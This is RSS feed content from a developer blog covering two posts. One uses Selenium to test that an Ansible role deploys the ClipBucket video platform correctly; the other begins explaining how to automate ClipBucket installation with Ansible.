&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- state: link
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- with_items:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- - ffmpeg
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- - MP4Box
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">-
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span> - name: install the Python MySQLB module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pip: name=MySQL-python
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If we deploy using this modified playbook, then browse to the target server, everything appears to be normal:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 891px">



 &lt;a href="https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error.png">
 &lt;img
 
 sizes="(min-width: 768px) 891px, 98vw"
 srcset='https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error_hu_a087cc5678621d42.png 300w, https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error_hu_24ac769b898d8d0e.png 600w, https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error_hu_a5d733b055ccde8c.png 800w, https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error.png 891w'
 src="https://mtlynch.io/testing-ansible-selenium/clipbucket-no-error.png" alt="ClipBucket no error" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>All installation tasks succeed and we see the ClipBucket landing page. What&amp;rsquo;s the problem?&lt;/p>
&lt;p>Let&amp;rsquo;s try uploading a video. Everything works until we try to view it:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 891px">



 &lt;a href="https://mtlynch.io/testing-ansible-selenium/bunny-film-error.png">
 &lt;img
 
 sizes="(min-width: 768px) 891px, 98vw"
 srcset='https://mtlynch.io/testing-ansible-selenium/bunny-film-error_hu_9b1f3ace1858f1d.png 300w, https://mtlynch.io/testing-ansible-selenium/bunny-film-error_hu_6b08b27499531cbe.png 600w, https://mtlynch.io/testing-ansible-selenium/bunny-film-error_hu_ed9cd424c35eb0d8.png 800w, https://mtlynch.io/testing-ansible-selenium/bunny-film-error.png 891w'
 src="https://mtlynch.io/testing-ansible-selenium/bunny-film-error.png" alt="Video error screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Because we deleted the task in our playbook that creates a symlink to ffmpeg, ClipBucket fails to transcode videos into a streamable format.&lt;/p>
&lt;p>We&amp;rsquo;d like to create an automated test for this, but uploading a video is difficult to script with simple command-line tools. The user first has to log in (which means that the script needs to manage cookies across requests), then they have to navigate the web UI to upload a video. This would be very difficult to do in a series of &lt;code>curl&lt;/code> commands.&lt;/p>
&lt;p>Fortunately, we can use &lt;a href="https://www.selenium.dev/">Selenium&lt;/a>. Selenium is a web testing tool that allows us to perform web browser actions programmatically.&lt;/p>
&lt;h2 id="setting-up-selenium">Setting Up Selenium&lt;/h2>
&lt;p>We&amp;rsquo;ll need to install a few components on our Ansible control machine to get started with Selenium:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pypi.python.org/pypi/selenium">&lt;strong>Selenium Python Package&lt;/strong>&lt;/a> - We&amp;rsquo;ll be using the Python API, and this package gets us the Selenium framework and Python bindings.&lt;/li>
&lt;li>&lt;strong>Firefox&lt;/strong> - We need a browser for Selenium to drive. While Selenium works with most major browsers, it supports Firefox natively.&lt;/li>
&lt;li>&lt;strong>xvfb&lt;/strong> - Because we&amp;rsquo;ll be running this test on a VM without a real display, we&amp;rsquo;ll use xvfb as a virtual display, so that Firefox thinks it&amp;rsquo;s running on a monitor.&lt;/li>
&lt;/ul>
&lt;p>We can create a fairly &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/master/tests/install_selenium.yml">simple playbook&lt;/a> for this. The only part that was a bit difficult was that xvfb requires an init script that&amp;rsquo;s non-obvious. Fortunately, blogger Cory Klein wrote &lt;a href="http://coryklein.com/ansible/2015/10/09/using-ansible-to-install-google-chrome.html">a post&lt;/a> last year that gives an example of an xvfb init script and using his example, we are able to &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/master/tests/templates/xvfb-init.d.j2">create one&lt;/a> for our needs.&lt;/p>
&lt;h2 id="choosing-a-web-flow-to-test">Choosing a Web Flow to Test&lt;/h2>
&lt;p>Now that we have Selenium installed, it&amp;rsquo;s time to create a Selenium script to exercise our web app. There are many possibilities for web flows we might like to verify, such as:&lt;/p>
&lt;ul>
&lt;li>Logging in&lt;/li>
&lt;li>Uploading a video and playing it back&lt;/li>
&lt;li>Making a comment on a video and checking that it displays&lt;/li>
&lt;li>Creating a new user account&lt;/li>
&lt;/ul>
&lt;p>For ClipBucket, I&amp;rsquo;m particularly interested in making sure videos upload correctly, so we&amp;rsquo;ll need to test login and video upload. Unfortunately, ClipBucket uses a heavyweight JavaScript package for managing uploads, so the normal Selenium APIs for uploading files don&amp;rsquo;t work.&lt;/p>
&lt;p>As an alternative, we&amp;rsquo;ll use the ClipBucket modules diagnostic page. It displays ClipBucket&amp;rsquo;s installed modules and displays an error message when any of the modules are not installed properly:&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 883px">



 &lt;a href="https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view.png">
 &lt;img
 
 sizes="(min-width: 768px) 883px, 98vw"
 srcset='https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view_hu_ace1866cde02ecfc.png 300w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view_hu_28af6fac5b057fd7.png 600w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view_hu_ff1a6d3c3f435fd9.png 800w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view.png 883w'
 src="https://mtlynch.io/testing-ansible-selenium/clipbucket-module-view.png" alt="ClipBucket modules view" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>We can use this page in lieu of a video upload flow to verify that all modules are installed properly.&lt;/p>
&lt;p>Now that we know what functionality we want to exercise, we can sketch out the web flow we want to automate. It will look something like this:&lt;/p>
&lt;ol>
&lt;li>Load ClipBucket URL&lt;/li>
&lt;li>Log in as an administrator&lt;/li>
&lt;li>Go to the module diagnostics page&lt;/li>
&lt;li>Verify that all modules are installed&lt;/li>
&lt;/ol>
&lt;p>This will give us automated verification of some additional functionality that we were not exercising in our basic tests:&lt;/p>
&lt;ul>
&lt;li>User login is working (which means that ClipBucket can successfully access the database)&lt;/li>
&lt;li>ClipBucket can access its tool dependencies&lt;/li>
&lt;/ul>
&lt;h2 id="automating-web-flow">Automating Web Flow&lt;/h2>
&lt;p>To automate browser actions in Selenium, we need to tell Selenium which URL to load in the browser, then we need to show Selenium how to find and interact with elements on the page. Let&amp;rsquo;s take a look at how we&amp;rsquo;ll automate the actions we need for our desired web flow.&lt;/p>
&lt;h3 id="automating-login">Automating Login&lt;/h3>
&lt;p>To log in, we need to find the credential fields on the login page, enter our username and password, then push the &amp;ldquo;Login&amp;rdquo; button. Fortunately, the username and password fields have an &lt;code>id&lt;/code> attribute, making it very easy to identify them on the page. The &amp;ldquo;Login&amp;rdquo; button does not have an &lt;code>id&lt;/code> attribute, but it does have a &lt;code>name&lt;/code> attribute of &lt;code>login&lt;/code> which is unique on the page, allowing us to use that as a unique identifier:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1201px">



 &lt;a href="https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields.png">
 &lt;img
 
 sizes="(min-width: 768px) 1201px, 98vw"
 srcset='https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields_hu_55b3eab75ef0239d.png 300w, https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields_hu_f9966c9fe9a69aa4.png 600w, https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields_hu_89534fdfa5fa299b.png 800w, https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields_hu_1c41b8bb4bf45a77.png 1200w, https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields.png 1201w'
 src="https://mtlynch.io/testing-ansible-selenium/clipbucket-login-fields.png" alt="ClipBucket login fields" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>We locate these fields and enter the login credentials in the following &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/3afec13b7b68eb38d4ffe930f73116278fdcf455/tests/clipbucket_driver/clipbucket_driver.py#L40...L53">code snippet&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">self&lt;/span>.get(&lt;span style="color:#ed9d13">&amp;#39;/admin_area/login.php&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username_element = &lt;span style="color:#24909d">self&lt;/span>._driver.find_element_by_id(&lt;span style="color:#ed9d13">&amp;#39;username&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ui.WebDriverWait(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>._driver, TIMEOUT).until(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected_conditions.visibility_of(username_element))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>password_element = &lt;span style="color:#24909d">self&lt;/span>._driver.find_element_by_id(&lt;span style="color:#ed9d13">&amp;#39;password&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username_element.send_keys(username)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>password_element.send_keys(password)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">self&lt;/span>._driver.find_element_by_name(&lt;span style="color:#ed9d13">&amp;#39;login&amp;#39;&lt;/span>).click()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="screen-scraping-module-list">Screen Scraping Module List&lt;/h3>
&lt;p>Checking the installed modules page is a bit different. We don&amp;rsquo;t need to interact with the page at all; we just need to find and interpret some page elements. We want to make sure that all of the modules are installed correctly, which means we need to identify the boxes that identify each module, then programmatically determine whether they display an error message.&lt;/p>
&lt;p>This is tricky because none of the elements we&amp;rsquo;re interested in (or their parent elements in the DOM) have &lt;code>id&lt;/code> attributes. They are all &lt;code>&amp;lt;div&amp;gt;&lt;/code>s with &lt;code>class=&amp;quot;well&amp;quot;&lt;/code>, so that&amp;rsquo;s the best option we have for finding each of the module information boxes.&lt;/p>
&lt;p>After we find the boxes, we need to determine whether the box indicates a successful module install or a problem. We can do this by either looking for indicators of success or verifying that the elements lack indicators of failure. The former is a bit more rigorous, but the latter is simpler to code. Boxes with error messages always contain an element with &lt;code>class=&amp;quot;alert&amp;quot;&lt;/code> attribute, so we can identify successful boxes if they do not have any child elements with this class.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1201px">



 &lt;a href="https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error.png">
 &lt;img
 
 sizes="(min-width: 768px) 1201px, 98vw"
 srcset='https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error_hu_75d40e645da0c187.png 300w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error_hu_29f44ce64e6792f1.png 600w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error_hu_a4833b761d415564.png 800w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error_hu_74e22ca85d2ebc91.png 1200w, https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error.png 1201w'
 src="https://mtlynch.io/testing-ansible-selenium/clipbucket-module-error.png" alt="ClipBucket module error" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>We can do this with the following &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/3afec13b7b68eb38d4ffe930f73116278fdcf455/tests/clipbucket_driver/clipbucket_driver.py#L55...L71">code snippet&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">self&lt;/span>.get(&lt;span style="color:#ed9d13">&amp;#39;/admin_area/cb_mod_check.php&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> module_element &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">self&lt;/span>._driver.find_elements_by_class_name(&lt;span style="color:#ed9d13">&amp;#39;well&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ui.WebDriverWait(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>._driver, TIMEOUT).until(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected_conditions.visibility_of(module_element))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> alert_element = module_element.find_element_by_class_name(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;alert&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> alert_element:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">raise&lt;/span> ClipBucketModuleError(alert_element.text)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">except&lt;/span> exceptions.NoSuchElementException:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Lack of alert is good: the module is installed correctly.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">continue&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="integrating-web-flow-test-in-travis">Integrating Web Flow Test in Travis&lt;/h2>
&lt;p>Putting it all together, we can add the Selenium installation playbook and our Selenium script to our &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/88a397b790e6d135719339964bcddd7f5acf0359/build#L69...L78">build file&lt;/a>.&lt;/p>
&lt;p>Now, we create &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/pull/34">a GitHub pull request&lt;/a> with the broken commit we made earlier. When the Travis build runs, we can see that it fails:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2016-09-21 00:17:06,229 clipbucket_driver INFO Logging in with username=testadmin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 00:17:06,229 clipbucket_driver INFO Loading url: http://172.17.0.2/admin_area/login.php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 00:17:07,525 clipbucket_driver INFO Login complete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 00:17:07,526 clipbucket_driver INFO Checking ClipBucket modules
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 00:17:07,526 clipbucket_driver INFO Loading url: http://172.17.0.2/admin_area/cb_mod_check.php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Traceback (most recent call last):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &amp;#34;tests/clipbucket_driver/main.py&amp;#34;, line 36, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> main(parser.parse_args())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &amp;#34;tests/clipbucket_driver/main.py&amp;#34;, line 24, in main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> driver.do_check_modules()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &amp;#34;/home/travis/build/mtlynch/ansible-role-clipbucket/tests/clipbucket_driver/clipbucket_driver.py&amp;#34;, line 64, in do_check_modules
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raise ClipBucketModuleError(alert_element.text)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>clipbucket_driver.ClipBucketModuleError: ffmpeg is not found
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Excellent! Our new test is correctly identifying the break in our Ansible role.&lt;/p>
&lt;p>And let&amp;rsquo;s make sure everything works when we run our normal playbook:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:21,992 clipbucket_driver INFO Logging in with username=testadmin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:21,992 clipbucket_driver INFO Loading url: http://172.17.0.2/admin_area/login.php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:23,036 clipbucket_driver INFO Login complete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:23,039 clipbucket_driver INFO Checking ClipBucket modules
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:23,040 clipbucket_driver INFO Loading url: http://172.17.0.2/admin_area/cb_mod_check.php
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:23,724 clipbucket_driver INFO Module check complete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2016-09-21 01:58:23,724 clipbucket_driver INFO Exiting ClipBucket driver
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Selenium script correctly determines that all required modules are installed correctly. If we ever make a change in the future that causes login functionality to fail or modules to install incorrectly, our automated tests will catch it.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>In this post, we combined Ansible with Selenium to verify that an Ansible role deployed a web app correctly and that the resulting deployment supported expected user behavior. Selenium offers a great deal of flexibility, so it&amp;rsquo;s possible to test many different web UI flows in a variety of web applications.&lt;/p></content:encoded></item><item><title>Automatically Deploying ClipBucket with Ansible</title><link>https://mtlynch.io/ansible-role-clipbucket/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://mtlynch.io/ansible-role-clipbucket/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="http://www.clipbucket.com/">ClipBucket&lt;/a> is an open source video hosting platform, similar in functionality to YouTube or Vimeo. In this guide, we&amp;rsquo;ll walk through how to deploy ClipBucket to a server using the configuration management tool, Ansible.&lt;/p>
&lt;h2 id="tl-dr---just-install-clipbucket">tl; dr - Just Install ClipBucket&lt;a id="just-install-clipbucket">&lt;/a>&lt;/h2>
&lt;blockquote>
&lt;p>I don&amp;rsquo;t care about Ansible or any of your thoughts and feelings about using
it to install ClipBucket. Just tell me how to install ClipBucket!&lt;/p>&lt;/blockquote>
&lt;p>If you came here just looking for an easy way to deploy ClipBucket to a server,
the series of commands below will install ClipBucket on a bare Ubuntu 14.04
server with just a few commands:&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="http://www.clipbucket.com/">ClipBucket&lt;/a> is an open source video hosting platform, similar in functionality to YouTube or Vimeo. In this guide, we&amp;rsquo;ll walk through how to deploy ClipBucket to a server using the configuration management tool, Ansible.&lt;/p>
&lt;h2 id="tl-dr---just-install-clipbucket">tl; dr - Just Install ClipBucket&lt;a id="just-install-clipbucket">&lt;/a>&lt;/h2>
&lt;blockquote>
&lt;p>I don&amp;rsquo;t care about Ansible or any of your thoughts and feelings about using
it to install ClipBucket. Just tell me how to install ClipBucket!&lt;/p>&lt;/blockquote>
&lt;p>If you came here just looking for an easy way to deploy ClipBucket to a server,
the series of commands below will install ClipBucket on a bare Ubuntu 14.04
server with just a few commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt-get update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install Ansible and dependencies&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get install -y &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> libffi-dev &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> libyaml-dev &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> libpython2.7-dev &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> libssl-dev &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python-pip &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python2.7-dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo pip install ansible paramiko PyYAML Jinja2 httplib2 six
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install the Ansible ClipBucket role&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ansible-galaxy install mtlynch.clipbucket
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create a minimal Ansible playbook to install ClipBucket&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;- hosts: localhost
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> roles:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> - { role: mtlynch.clipbucket }&amp;#34;&lt;/span> &amp;gt; install.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Run the ClipBucket playbook locally&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ansible-playbook install.yml &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;mysql_root_password=root&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;clipbucket_mysql_password=clipbucketpw&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;clipbucket_admin_password=admin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At the end of the above commands, you will find ClipBucket running on your
server at &lt;a href="http://localhost/">http://localhost/&lt;/a>. You can log in with the
Admin credentials of:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Username&lt;/strong>: &lt;code>admin&lt;/code>&lt;/li>
&lt;li>&lt;strong>Password&lt;/strong>: &lt;code>admin&lt;/code> (&lt;em>change this password after logging in&lt;/em>)&lt;/li>
&lt;/ul>
&lt;h2 id="why-automate-clipbucket-deployment">Why Automate ClipBucket Deployment?&lt;/h2>
&lt;p>ClipBucket doesn&amp;rsquo;t provide much documentation about deployment. All I could find as far as official documentation was this &lt;a href="https://web.archive.org/web/20251029141352/https://clipbucket.com/2009/03/04/clipbucket-installation-guide-how-to-install-clipbucket/">guide&lt;/a>, but it assumes that the user has already installed many of ClipBucket&amp;rsquo;s dependencies.&lt;/p>
&lt;p>I found &lt;a href="https://web.archive.org/web/20160202164342/http://linoxide.com/linux-how-to/setup-clipbucket-video-sharing-website-linux/">this excellent and very thorough guide&lt;/a>, but it&amp;rsquo;s still a very manual process. The user is forced to copy/paste many different commands and it&amp;rsquo;s difficult for the user to customize for their particular system.&lt;/p>
&lt;p>Even after installing ClipBucket and all of its dependencies, a new deployment of ClipBucket requires the user to manually click through a web UI and enter information about their installation.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1216px">



 &lt;a href="https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps.png">
 &lt;img
 
 sizes="(min-width: 768px) 1216px, 98vw"
 srcset='https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps_hu_c0e31948b26aef90.png 300w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps_hu_99c395fa379ebc07.png 600w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps_hu_caa348cdf51ad72d.png 800w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps_hu_586e66e0b1e319b0.png 1200w, https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps.png 1216w'
 src="https://mtlynch.io/ansible-role-clipbucket/clipbucket-install-steps.png" alt="Complete ClipBucket installation steps" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>A web UI is probably nice for new users, but it&amp;rsquo;s not the kind of thing you&amp;rsquo;d want to go through over and over every time you have to deploy a new server.&lt;/p>
&lt;h2 id="automating-installation">Automating Installation&lt;/h2>
&lt;p>ClipBucket&amp;rsquo;s major dependencies are Linux, Apache, MySQL, and PHP (a &amp;ldquo;LAMP stack&amp;rdquo;). Fortunately, Ansible has a concept called &amp;ldquo;roles&amp;rdquo; that allow users to package automation logic for a component and allow others to re-use this logic, even composing multiple roles together to create new roles.&lt;/p>
&lt;p>We can avoid duplicating effort with &lt;a href="https://galaxy.ansible.com/list#/roles">Ansible Galaxy&lt;/a>, which allows us to search for existing roles for the software we want. A quick search of Ansible Galaxy yielded the following roles:&lt;/p>
&lt;ul>
&lt;li>Apache - &lt;a href="https://galaxy.ansible.com/geerlingguy/apache/">geerlingguy.apache&lt;/a>&lt;/li>
&lt;li>MySQL - &lt;a href="https://galaxy.ansible.com/detail#/role/2462">pcextreme.mariadb&lt;/a> (actually installs MariaDB, a community-maintained drop-in replacement for MySQL)&lt;/li>
&lt;li>PHP - &lt;a href="https://galaxy.ansible.com/geerlingguy/php/">geerlingguy.php&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>ClipBucket has some smaller dependencies, such as ImageMagick and FFMpeg, which are straightforward to install with a command or two within our Ansible playbook (see all installation steps &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/master/tasks/main.yml">here&lt;/a>).&lt;/p>
&lt;h2 id="automating-post-install-steps">Automating Post-Install Steps&lt;/h2>
&lt;p>As mentioned earlier, ClipBucket expects the user to walk through a web UI to complete the installation. We&amp;rsquo;d like to eliminate this manual step, but this is a challenge. Ansible is designed to automate command line tasks, but is not well suited for automating user actions in a web UI.&lt;/p>
&lt;p>I asked in the &lt;a href="https://web.archive.org/web/20170122170739/http://discourse.clipbucket.com/t/deploy-and-configure-clipbucket-automatically/2166">ClipBucket forums&lt;/a> if there was an alternative to the web UI install and Saqib Razzaq, one of ClipBucket&amp;rsquo;s developers, was kind enough to point me to some PHP and SQL scripts in the ClipBucket source that would allow me to script the post-install steps.&lt;/p>
